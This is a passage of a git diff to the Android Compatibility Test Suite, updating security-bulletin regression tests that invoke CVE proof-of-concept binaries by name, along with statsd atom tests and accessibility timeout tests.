- AdbUtils.runCommandLine("logcat -c" , getDevice());
- AdbUtils.runPoc("CVE-2016-2062", getDevice(), 60);
- String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertMatches("[\\s\\n\\S]*CVE-2016-2062 passed[\\s\\n\\S]*", logcat);
- }
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 15659a8..e52004b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -26,10 +26,10 @@
@SecurityTest
public void testPocCVE_2016_8479() throws Exception {
if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+ AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
// CTS begins the next test before device finishes rebooting,
// sleep to allow time for device to reboot.
- Thread.sleep(30000);
+ Thread.sleep(70000);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
new file mode 100644
index 0000000..b58fac4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import java.util.concurrent.TimeUnit;
+
+@SecurityTest
+public class Poc17_06 extends SecurityTestCase {
+
+ /**
+ * b/36392138
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0647() throws Exception {
+ AdbUtils.pushResource("/CVE-2017-0647.zip", "/data/local/tmp/CVE-2017-0647.zip",
+ getDevice());
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runCommandLine(
+ "dex2oat " +
+ "--dex-file=/data/local/tmp/CVE-2017-0647.zip " +
+ "--oat-file=/data/local/tmp/out " +
+ "--base=0x50000000", getDevice());
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("Zip: missed a central dir sig", logcatOut);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 7101905..917bb70 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -26,6 +26,7 @@
import java.util.regex.Matcher;
import java.util.Map;
import java.util.HashMap;
+import com.android.ddmlib.Log;
public class SecurityTestCase extends DeviceTestCase {
@@ -33,6 +34,8 @@
private long kernelStartTime;
+ private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
+
/**
* Waits for device to be online, marks the most recent boottime of the device
*/
@@ -45,6 +48,8 @@
Integer.parseInt(uptime.substring(0, uptime.indexOf('.')));
//TODO:(badash@): Watch for other things to track.
// Specifically time when app framework starts
+
+ oomCatcher.start();
}
/**
@@ -96,6 +101,22 @@
- kernelStartTime < 2));
//TODO(badash@): add ability to catch runtime restart
getDevice().disableAdbRoot();
+
+ if (oomCatcher.isOomDetected()) {
+ switch (oomCatcher.getOomBehavior()) {
+ case FAIL_AND_LOG:
+ fail("The device ran out of memory.");
+ return;
+ case PASS_AND_LOG:
+ Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG, "Skipping test.");
+ return;
+ case FAIL_NO_LOG:
+ fail();
+ return;
+ }
+ }
+
+ oomCatcher.stop(getDevice().getSerialNumber());
}
public void assertMatches(String pattern, String input) throws Exception {
@@ -115,8 +136,4 @@
assertFalse("Pattern found: " + pattern,
Pattern.compile(pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(input).find());
}
-
- // Flag meaning the test will likely fail on devices with low memory.
- public void setHighMemoryTest() {
- }
}
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.mk b/hostsidetests/statsd/apps/statsdapp/Android.mk
index 71d9323..4218526 100644
--- a/hostsidetests/statsd/apps/statsdapp/Android.mk
+++ b/hostsidetests/statsd/apps/statsdapp/Android.mk
@@ -36,8 +36,7 @@
compatibility-device-util \
androidx.legacy_legacy-support-v4 \
legacy-android-test \
- android-support-test \
- statsdprotolite
+ android-support-test
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
index 98be839..d0a05f4 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
@@ -19,6 +19,9 @@
import com.android.server.cts.device.statsd.AtomTests;
import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.Point;
@@ -39,6 +42,7 @@
public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
+ public static final String ACTION_SHOW_NOTIFICATION = "action.show_notification";
public static final String ACTION_CRASH = "action.crash";
public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
@@ -71,6 +75,9 @@
case ACTION_SHOW_APPLICATION_OVERLAY:
doShowApplicationOverlay();
break;
+ case ACTION_SHOW_NOTIFICATION:
+ doShowNotification();
+ break;
case ACTION_CRASH:
doCrash();
break;
@@ -126,6 +133,25 @@
finish();
}
+ private void doShowNotification() {
+ final int notificationId = R.layout.activity_main;
+ final String notificationChannel = "StatsdCtsChannel";
+
+ NotificationManager nm = getSystemService(NotificationManager.class);
+ nm.createNotificationChannel(new NotificationChannel(notificationChannel, "Statsd Cts",
+ NotificationManager.IMPORTANCE_DEFAULT));
+
+ nm.notify(
+ notificationId,
+ new Notification.Builder(this, notificationChannel)
+ .setSmallIcon(android.R.drawable.stat_notify_chat)
+ .setContentTitle("StatsdCts")
+ .setContentText("StatsdCts")
+ .build());
+ nm.cancel(notificationId);
+ finish();
+ }
+
@SuppressWarnings("ConstantOverflow")
private void doCrash() {
Log.e(TAG, "About to crash the app with 1/0 " + (long)1/0);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index e33d42c..71b93d1 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -20,6 +20,7 @@
import android.os.BatteryStatsProto;
import android.service.batterystats.BatteryStatsServiceDumpProto;
+import android.service.procstats.ProcessStatsPackageProto;
import android.service.procstats.ProcessStatsProto;
import android.service.procstats.ProcessStatsServiceDumpProto;
@@ -224,13 +225,15 @@
protected List<Atom> getGaugeMetricDataList() throws Exception {
ConfigMetricsReportList reportList = getReportList();
- assertTrue(reportList.getReportsCount() == 1);
+ assertTrue("Only one report expected", reportList.getReportsCount() == 1);
// only config
ConfigMetricsReport report = reportList.getReports(0);
+ assertTrue("Only one metric expected", report.getMetricsCount() == 1);
List<Atom> data = new ArrayList<>();
for (GaugeMetricData gaugeMetricData :
report.getMetrics(0).getGaugeMetrics().getDataList()) {
+ assertTrue("Only one bucket expected", gaugeMetricData.getBucketInfoCount() == 1);
for (Atom atom : gaugeMetricData.getBucketInfo(0).getAtomList()) {
data.add(atom);
}
@@ -339,6 +342,26 @@
}
}
+ /*
+ * Get all procstats package data in proto
+ */
+ protected List<ProcessStatsPackageProto> getAllProcStatsProto() throws Exception {
+ try {
+ List<ProcessStatsPackageProto> processStatsProtoList = getDump(
+ ProcessStatsServiceDumpProto.parser(),
+ String.join(" ", DUMP_PROCSTATS_CMD,
+ "--proto")).getProcstatsOver24Hrs().getPackageStatsList();
+ LogUtil.CLog.d("Got procstats:\n ");
+ for (ProcessStatsPackageProto processStatsProto : processStatsProtoList) {
+ LogUtil.CLog.d(processStatsProto.toString());
+ }
+ return processStatsProtoList;
+ } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+ LogUtil.CLog.e("Failed to dump procstats proto");
+ throw (e);
+ }
+ }
+
/** Creates a FieldValueMatcher.Builder corresponding to the given field. */
protected static FieldValueMatcher.Builder createFvm(int field) {
return FieldValueMatcher.newBuilder().setField(field);
@@ -391,12 +414,12 @@
/**
* Adds an atom to a gauge metric of a config
*
- * @param conf configuration
- * @param atomId atom id (from atoms.proto)
- * @param dimension dimension is needed for most pulled atoms
+ * @param conf configuration
+ * @param atomId atom id (from atoms.proto)
+ * @param gaugeMetric the gauge metric to add
*/
protected void addGaugeAtom(StatsdConfig.Builder conf, int atomId,
- @Nullable FieldMatcher.Builder dimension) throws Exception {
+ GaugeMetric.Builder gaugeMetric) throws Exception {
final String atomName = "Atom" + System.nanoTime();
final String gaugeName = "Gauge" + System.nanoTime();
final String predicateName = "APP_BREADCRUMB";
@@ -435,17 +458,31 @@
.setCountNesting(false)
)
);
- GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
+ gaugeMetric
.setId(gaugeName.hashCode())
.setWhat(atomName.hashCode())
+ .setCondition(predicateName.hashCode());
+ conf.addGaugeMetric(gaugeMetric.build());
+ }
+
+ /**
+ * Adds an atom to a gauge metric of a config
+ *
+ * @param conf configuration
+ * @param atomId atom id (from atoms.proto)
+ * @param dimension dimension is needed for most pulled atoms
+ */
+ protected void addGaugeAtomWithDimensions(StatsdConfig.Builder conf, int atomId,
+ @Nullable FieldMatcher.Builder dimension) throws Exception {
+ GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
.setGaugeFieldsFilter(FieldFilter.newBuilder().setIncludeAll(true).build())
.setSamplingType(GaugeMetric.SamplingType.ALL_CONDITION_CHANGES)
- .setBucket(TimeUnit.CTS)
- .setCondition(predicateName.hashCode());
+ .setMaxNumGaugeAtomsPerBucket(10000)
+ .setBucket(TimeUnit.CTS);
if (dimension != null) {
gaugeMetric.setDimensionsInWhat(dimension.build());
}
- conf.addGaugeMetric(gaugeMetric.build());
+ addGaugeAtom(conf, atomId, gaugeMetric);
}
/**
@@ -590,6 +627,34 @@
getDevice().executeShellCommand("cmd battery set wireless 1");
}
+ protected void enableLooperStats() throws Exception {
+ getDevice().executeShellCommand("cmd looper_stats enable");
+ }
+
+ protected void resetLooperStats() throws Exception {
+ getDevice().executeShellCommand("cmd looper_stats reset");
+ }
+
+ protected void disableLooperStats() throws Exception {
+ getDevice().executeShellCommand("cmd looper_stats disable");
+ }
+
+ protected void enableBinderStats() throws Exception {
+ getDevice().executeShellCommand("dumpsys binder_calls_stats --enable");
+ }
+
+ protected void resetBinderStats() throws Exception {
+ getDevice().executeShellCommand("dumpsys binder_calls_stats --reset");
+ }
+
+ protected void disableBinderStats() throws Exception {
+ getDevice().executeShellCommand("dumpsys binder_calls_stats --disable");
+ }
+
+ protected void binderStatsNoSampling() throws Exception {
+ getDevice().executeShellCommand("dumpsys binder_calls_stats --no-sampling");
+ }
+
public void setAppBreadcrumbPredicate() throws Exception {
doAppBreadcrumbReportedStart(1);
}
@@ -727,4 +792,11 @@
return hasIt == requiredAnswer;
}
+ /**
+ * Determines if the device has |file|.
+ */
+ protected boolean doesFileExist(String file) throws Exception {
+ return getDevice().doesFileExist(file);
+ }
+
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
index b4af492..7426ccf 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
@@ -172,6 +172,13 @@
}
/**
+ * Uninstalls the test apk.
+ */
+ protected void uninstallPackage() throws Exception{
+ getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+ }
+
+ /**
* Required to successfully start a background service from adb in O.
*/
protected void allowBackgroundServices() throws Exception {
@@ -225,4 +232,16 @@
protected void clearProcStats() throws Exception {
getDevice().executeShellCommand("dumpsys procstats --clear");
}
+
+ protected void startProcStatsTesting() throws Exception {
+ getDevice().executeShellCommand("dumpsys procstats --start-testing");
+ }
+
+ protected void stopProcStatsTesting() throws Exception {
+ getDevice().executeShellCommand("dumpsys procstats --stop-testing");
+ }
+
+ protected void commitProcStatsToDisk() throws Exception {
+ getDevice().executeShellCommand("dumpsys procstats --commit");
+ }
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index 71fac10..69a45a6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -26,11 +26,13 @@
import com.android.os.AtomsProto.AppBreadcrumbReported;
import com.android.os.AtomsProto.Atom;
import com.android.os.AtomsProto.BatterySaverModeStateChanged;
+import com.android.os.AtomsProto.BatteryVoltage;
import com.android.os.AtomsProto.FullBatteryCapacity;
import com.android.os.AtomsProto.KernelWakelock;
import com.android.os.AtomsProto.RemainingBatteryCapacity;
import com.android.os.StatsLog.EventMetricData;
+import java.io.File;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
@@ -48,6 +50,10 @@
private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
private static final String FEATURE_WATCH = "android.hardware.type.watch";
+ // Either file must exist to read kernel wake lock stats.
+ private static final String WAKE_LOCK_FILE = "/proc/wakelocks";
+ private static final String WAKE_SOURCES_FILE = "/d/wakeup_sources";
+
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -334,11 +340,7 @@
}
if (!hasFeature(FEATURE_WATCH, false)) return;
StatsdConfig.Builder config = getPulledConfig();
- FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
- .setField(Atom.REMAINING_BATTERY_CAPACITY_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(RemainingBatteryCapacity.CHARGE_UAH_FIELD_NUMBER));
- addGaugeAtom(config, Atom.REMAINING_BATTERY_CAPACITY_FIELD_NUMBER, dimension);
+ addGaugeAtomWithDimensions(config, Atom.REMAINING_BATTERY_CAPACITY_FIELD_NUMBER, null);
uploadConfig(config);
@@ -361,11 +363,7 @@
}
if (!hasFeature(FEATURE_WATCH, false)) return;
StatsdConfig.Builder config = getPulledConfig();
- FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
- .setField(Atom.FULL_BATTERY_CAPACITY_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(FullBatteryCapacity.CAPACITY_UAH_FIELD_NUMBER));
- addGaugeAtom(config, Atom.FULL_BATTERY_CAPACITY_FIELD_NUMBER, dimension);
+ addGaugeAtomWithDimensions(config, Atom.FULL_BATTERY_CAPACITY_FIELD_NUMBER, null);
uploadConfig(config);
@@ -381,16 +379,34 @@
assertTrue(atom.getFullBatteryCapacity().getCapacityUAh() > 0);
}
- public void testKernelWakelock() throws Exception {
+ public void testBatteryVoltage() throws Exception {
if (statsdDisabled()) {
return;
}
+ if (!hasFeature(FEATURE_WATCH, false)) return;
StatsdConfig.Builder config = getPulledConfig();
- FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
- .setField(Atom.KERNEL_WAKELOCK_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(KernelWakelock.NAME_FIELD_NUMBER));
- addGaugeAtom(config, Atom.KERNEL_WAKELOCK_FIELD_NUMBER, dimension);
+ addGaugeAtom(config, Atom.BATTERY_VOLTAGE_FIELD_NUMBER, null);
+
+ uploadConfig(config);
+
+ Thread.sleep(WAIT_TIME_LONG);
+ setAppBreadcrumbPredicate();
+ Thread.sleep(WAIT_TIME_LONG);
+
+ List<Atom> data = getGaugeMetricDataList();
+
+ assertTrue(data.size() > 0);
+ Atom atom = data.get(0);
+ assertTrue(atom.getBatteryVoltage().hasVoltageMV());
+ assertTrue(atom.getBatteryVoltage().getVoltageMV() > 0);
+ }
+
+ public void testKernelWakelock() throws Exception {
+ if (statsdDisabled() || !kernelWakelockStatsExist()) {
+ return;
+ }
+ StatsdConfig.Builder config = getPulledConfig();
+ addGaugeAtomWithDimensions(config, Atom.KERNEL_WAKELOCK_FIELD_NUMBER, null);
uploadConfig(config);
@@ -408,6 +424,15 @@
assertTrue(atom.getKernelWakelock().hasTime());
}
+ // Returns true iff either |WAKE_LOCK_FILE| or |WAKE_SOURCES_FILE| exists.
+ private boolean kernelWakelockStatsExist() {
+ try {
+ return doesFileExist(WAKE_LOCK_FILE) || doesFileExist(WAKE_SOURCES_FILE);
+ } catch(Exception e) {
+ return false;
+ }
+ }
+
public void testWifiActivityInfo() throws Exception {
if (statsdDisabled()) {
return;
@@ -417,7 +442,7 @@
if (!checkDeviceFor("checkWifiEnhancedPowerReportingSupported")) return;
StatsdConfig.Builder config = getPulledConfig();
- addGaugeAtom(config, Atom.WIFI_ACTIVITY_INFO_FIELD_NUMBER, null);
+ addGaugeAtomWithDimensions(config, Atom.WIFI_ACTIVITY_INFO_FIELD_NUMBER, null);
uploadConfig(config);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 2e50b42..0f27288 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -22,20 +22,25 @@
import android.os.WakeLockLevelEnum;
import android.platform.test.annotations.RestrictedBuildTest;
+import com.android.internal.os.StatsdConfigProto.FieldFilter;
import com.android.internal.os.StatsdConfigProto.FieldMatcher;
+import com.android.internal.os.StatsdConfigProto.GaugeMetric;
import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.internal.os.StatsdConfigProto.TimeUnit;
import com.android.os.AtomsProto.AppCrashOccurred;
import com.android.os.AtomsProto.AppStartOccurred;
import com.android.os.AtomsProto.Atom;
import com.android.os.AtomsProto.AudioStateChanged;
import com.android.os.AtomsProto.BleScanResultReceived;
import com.android.os.AtomsProto.BleScanStateChanged;
+import com.android.os.AtomsProto.BinderCalls;
import com.android.os.AtomsProto.CameraStateChanged;
import com.android.os.AtomsProto.CpuActiveTime;
import com.android.os.AtomsProto.CpuTimePerUid;
import com.android.os.AtomsProto.FlashlightStateChanged;
import com.android.os.AtomsProto.ForegroundServiceStateChanged;
import com.android.os.AtomsProto.GpsScanStateChanged;
+import com.android.os.AtomsProto.LooperStats;
import com.android.os.AtomsProto.MediaCodecStateChanged;
import com.android.os.AtomsProto.OverlayStateChanged;
import com.android.os.AtomsProto.PictureInPictureStateChanged;
@@ -270,11 +275,7 @@
}
if (!hasFeature(FEATURE_WATCH, false)) return;
StatsdConfig.Builder config = getPulledConfig();
- FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
- .setField(Atom.CPU_TIME_PER_UID_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(CpuTimePerUid.UID_FIELD_NUMBER));
- addGaugeAtom(config, Atom.CPU_TIME_PER_UID_FIELD_NUMBER, dimension);
+ addGaugeAtomWithDimensions(config, Atom.CPU_TIME_PER_UID_FIELD_NUMBER, null);
uploadConfig(config);
@@ -311,7 +312,7 @@
.setField(Atom.CPU_ACTIVE_TIME_FIELD_NUMBER)
.addChild(FieldMatcher.newBuilder()
.setField(CpuActiveTime.UID_FIELD_NUMBER));
- addGaugeAtom(config, Atom.CPU_ACTIVE_TIME_FIELD_NUMBER, dimension);
+ addGaugeAtomWithDimensions(config, Atom.CPU_ACTIVE_TIME_FIELD_NUMBER, dimension);
uploadConfig(config);
@@ -796,4 +797,66 @@
assertTrue(a0.getState().getNumber() == stateOn);
assertTrue(a1.getState().getNumber() == stateOff);
}
+
+ public void testBinderStats() throws Exception {
+ if (statsdDisabled()) {
+ return;
+ }
+ try {
+ unplugDevice();
+ Thread.sleep(WAIT_TIME_SHORT);
+ enableBinderStats();
+ binderStatsNoSampling();
+ resetBinderStats();
+ StatsdConfig.Builder config = getPulledConfig();
+ FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
+ .setField(Atom.BINDER_CALLS_FIELD_NUMBER);
+ GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
+ .setGaugeFieldsFilter(FieldFilter.newBuilder().setIncludeAll(true).build())
+ .setSamplingType(GaugeMetric.SamplingType.ALL_CONDITION_CHANGES)
+ .setDimensionsInWhat(dimension.build())
+ .setMaxNumGaugeAtomsPerBucket(1000)
+ .setBucket(TimeUnit.CTS);
+ addGaugeAtom(config, Atom.BINDER_CALLS_FIELD_NUMBER, gaugeMetric);
+
+ uploadConfig(config);
+ Thread.sleep(WAIT_TIME_SHORT);
+
+ runActivity("StatsdCtsForegroundActivity", "action", "action.show_notification",3_000);
+
+ setAppBreadcrumbPredicate();
+ Thread.sleep(WAIT_TIME_SHORT);
+
+ boolean found = false;
+ int uid = getUid();
+ List<Atom> atomList = getGaugeMetricDataList();
+ for (Atom atom : atomList) {
+ BinderCalls calls = atom.getBinderCalls();
+ boolean classMatches = calls.getServiceClassName().contains(
+ "com.android.server.notification.NotificationManagerService");
+ boolean methodMatches = calls.getServiceMethodName()
+ .equals("createNotificationChannels");
+
+ if (calls.getUid() == uid && classMatches && methodMatches) {
+ found = true;
+ assertTrue("Call count should not be negative or equal to 0.",
+ calls.getRecordedCallCount() > 0);
+ assertTrue("Call count should not be negative or equal to 0.",
+ calls.getCallCount() > 0);
+ assertTrue("Wrong latency",
+ calls.getRecordedTotalLatencyMicros() > 0
+ && calls.getRecordedTotalLatencyMicros() < 1000000);
+ assertTrue("Wrong cpu usage",
+ calls.getRecordedTotalCpuMicros() > 0
+ && calls.getRecordedTotalCpuMicros() < 1000000);
+ }
+ }
+
+ assertTrue("Did not find a matching atom for uid " + uid, found);
+
+ } finally {
+ disableBinderStats();
+ plugInAc();
+ }
+ }
}
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
index 9cb148b..622c06e 100755
--- a/tests/JobScheduler/Android.mk
+++ b/tests/JobScheduler/Android.mk
@@ -30,7 +30,7 @@
LOCAL_SRC_FILES += $(call all-java-files-under, JobTestApp/src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Must match the package name in CtsTestCaseList.mk
LOCAL_PACKAGE_NAME := CtsJobSchedulerTestCases
diff --git a/tests/accessibility/res/xml/speaking_accessibilityservice.xml b/tests/accessibility/res/xml/speaking_accessibilityservice.xml
index a58a53e..112a03b 100644
--- a/tests/accessibility/res/xml/speaking_accessibilityservice.xml
+++ b/tests/accessibility/res/xml/speaking_accessibilityservice.xml
@@ -16,10 +16,11 @@
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackSpoken"
- android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews|flagRequestTouchExplorationMode|flagReportViewIds|flagRequestFilterKeyEvents"
+ android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews|flagRequestTouchExplorationMode|flagReportViewIds|flagRequestFilterKeyEvents|flagRequestShortcutWarningDialogSpokenFeedback"
android:canRetrieveWindowContent="true"
android:canRequestTouchExplorationMode="true"
android:canRequestFilterKeyEvents="true"
android:settingsActivity="foo.bar.Activity"
android:description="@string/some_description"
- android:summary="@string/some_summary" />
+ android:summary="@string/some_summary"
+ android:minimumUiTimeout="1000" />
diff --git a/tests/accessibility/res/xml/vibrating_accessibilityservice.xml b/tests/accessibility/res/xml/vibrating_accessibilityservice.xml
index e1b9706..b83c45e 100644
--- a/tests/accessibility/res/xml/vibrating_accessibilityservice.xml
+++ b/tests/accessibility/res/xml/vibrating_accessibilityservice.xml
@@ -18,4 +18,5 @@
android:accessibilityFeedbackType="feedbackHaptic"
android:accessibilityFlags="flagDefault|flagRequestTouchExplorationMode"
android:canRetrieveWindowContent="true"
- android:canRequestTouchExplorationMode="true" />
+ android:canRequestTouchExplorationMode="true"
+ android:minimumUiTimeout="2000" />
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
index 0cf2c19..2efaebd 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
@@ -18,9 +18,12 @@
import android.accessibilityservice.AccessibilityServiceInfo;
import android.app.Service;
+import android.app.UiAutomation;
+import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.ServiceInfo;
import android.os.Handler;
+import android.provider.Settings;
import android.test.InstrumentationTestCase;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityManager;
@@ -46,6 +49,12 @@
private static final String MULTIPLE_FEEDBACK_TYPES_ACCESSIBILITY_SERVICE_NAME =
"android.view.accessibility.cts.SpeakingAndVibratingAccessibilityService";
+ private static final String ACCESSIBILITY_MINIMUM_UI_TIMEOUT_ENABLED =
+ "accessibility_minimum_ui_timeout_enabled";
+
+ private static final String ACCESSIBILITY_MINIMUM_UI_TIMEOUT_MS =
+ "accessibility_minimum_ui_timeout_ms";
+
private AccessibilityManager mAccessibilityManager;
private Context mTargetContext;
@@ -332,6 +341,22 @@
mAccessibilityManager.removeAccessibilityStateChangeListener(listener);
}
+ public void testGetMinimumUiTimeoutMs() throws Exception {
+ ServiceControlUtils.enableSpeakingAndVibratingServices(getInstrumentation());
+ waitForAccessibilityEnabled();
+ UiAutomation automan = getInstrumentation().getUiAutomation(
+ UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+ turnOffMinimumUiTimoutSettings(automan);
+ PollingCheck.waitFor(() -> mAccessibilityManager.getMinimumUiTimeoutMillis() == 2000);
+ turnOnMinimumUiTimoutSettings(automan, 5000);
+ PollingCheck.waitFor(() -> mAccessibilityManager.getMinimumUiTimeoutMillis() == 5000);
+ turnOnMinimumUiTimoutSettings(automan, 6000);
+ PollingCheck.waitFor(() -> mAccessibilityManager.getMinimumUiTimeoutMillis() == 6000);
+ turnOffMinimumUiTimoutSettings(automan);
+ PollingCheck.waitFor(() -> mAccessibilityManager.getMinimumUiTimeoutMillis() == 2000);
+ automan.destroy();
+ }
+
private void assertAtomicBooleanBecomes(AtomicBoolean atomicBoolean,
boolean expectedValue, Object waitObject, String message)
throws Exception {
@@ -366,4 +391,24 @@
mAccessibilityManager.removeAccessibilityStateChangeListener(listener);
assertTrue("Timed out enabling accessibility", mAccessibilityManager.isEnabled());
}
+
+ private void turnOffMinimumUiTimoutSettings(UiAutomation automan) {
+ putSecureSetting(automan, ACCESSIBILITY_MINIMUM_UI_TIMEOUT_ENABLED, null);
+ putSecureSetting(automan, ACCESSIBILITY_MINIMUM_UI_TIMEOUT_MS, null);
+ }
+
+ private void turnOnMinimumUiTimoutSettings(UiAutomation automan, int timeout) {
+ putSecureSetting(automan, ACCESSIBILITY_MINIMUM_UI_TIMEOUT_ENABLED, "1");
+ putSecureSetting(automan, ACCESSIBILITY_MINIMUM_UI_TIMEOUT_MS, Integer.toString(timeout));
+ }
+
+ private void putSecureSetting(UiAutomation automan, String name, String value) {
+ ContentResolver cr = getInstrumentation().getContext().getContentResolver();
+ automan.adoptShellPermissionIdentity();
+ try {
+ Settings.Secure.putString(cr, name, value);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+ }
}
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
index 720a4e0..7914b96 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityNodeInfoTest.java
@@ -279,9 +279,10 @@
info.setImportantForAccessibility(true);
info.setScreenReaderFocusable(true);
- // 2 Boolean properties, for a total of 22
+ // 3 Boolean properties, for a total of 23
info.setShowingHintText(true);
info.setHeading(true);
+ info.setTextEntryKey(true);
}
/**
@@ -459,11 +460,13 @@
assertSame("isScreenReaderFocusable has incorrect value",
expectedInfo.isScreenReaderFocusable(), receivedInfo.isScreenReaderFocusable());
- // 2 Boolean properties, for a total of 22
+ // 3 Boolean properties, for a total of 23
assertSame("isShowingHint has incorrect value",
expectedInfo.isShowingHintText(), receivedInfo.isShowingHintText());
assertSame("isHeading has incorrect value",
expectedInfo.isHeading(), receivedInfo.isHeading());
+ assertSame("isTextEntryKey has incorrect value",
+ expectedInfo.isTextEntryKey(), receivedInfo.isTextEntryKey());
}
/**
@@ -546,8 +549,9 @@
